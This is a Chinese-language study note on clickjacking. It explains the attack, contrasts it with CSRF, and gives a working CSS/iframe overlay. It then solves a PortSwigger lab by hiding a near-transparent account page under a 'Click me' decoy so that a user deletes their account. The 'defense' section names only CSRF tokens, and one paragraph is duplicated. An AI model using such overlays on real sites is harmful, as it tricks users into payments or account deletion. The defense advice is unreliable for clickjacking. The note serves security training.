一：漏洞原理
1、什么是点解劫持
- 点击劫持是一种基于界面的攻击，用户通过点击诱饵网站中的一些其他内容，被诱骗点击隐藏网站上的可操作内容。
- 一个网络用户访问一个诱骗网站（也许这是一个由电子邮件提供的链接）并点击一个按钮来赢得奖品。在不知不觉中，他们被攻击者欺骗，按下了另一个隐藏按钮，这导致了另一个网站上的帐户付款。这是一个点击劫持攻击的例子。该技术依赖于合并一个不可见的、可操作的网页（或多个网页），其中包含一个按钮或隐藏链接，比如说，在iframe中。iframe覆盖在用户预期的诱饵网页内容之上。
（此攻击与 CSRF攻击的不同之处在于，用户需要执行按钮单击等操作，而CSRF攻击依赖于在用户不知情或不输入的情况下伪造整个请求） - 示例：网络用户访问诱饵网站（也许这是电子邮件提供的链接）并点击按钮以赢得奖品。在不知不觉中，他们被攻击者欺骗按下了另一个隐藏按钮，这导致在另一个站点上支付了帐户费用。这是点击劫持攻击的一个示例。该技术依赖于合并一个不可见的、可作的网页（或多个页面），其中包含一个按钮或隐藏的链接，例如，在 iframe 中。iframe 覆盖在用户预期的诱饵网页内容之上。这种攻击与 CSRF 攻击的不同之处在于，用户需要执行诸如按钮单击之类的作，而 CSRF 攻击则依赖于在用户不知情或输入的情况下伪造整个请求。
2、防范攻击
- 通常通过使用CSRF令牌来放置CSRF攻击：特定于会话的一次性使用数字或nonce。
3、构建基本的点击劫持实验
（1）点击劫持攻击使用CSS来创建和操作层。攻击者将目标网站合并覆盖在诱饵网站的iframe层
css
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>二：PortSwigger靶场
1、使用 CSRF 令牌保护进行基本点击劫持
（1）题目要求：制作html页面来构建账户页面并欺骗用户删除账户（制作一个相同的界面）
css
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="YOUR-LAB-ID.web-security-academy.net/my-account"></iframe>
我的是：
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a11000404d22a86c463666000e90017.web-security-academy.net/my-account"></iframe>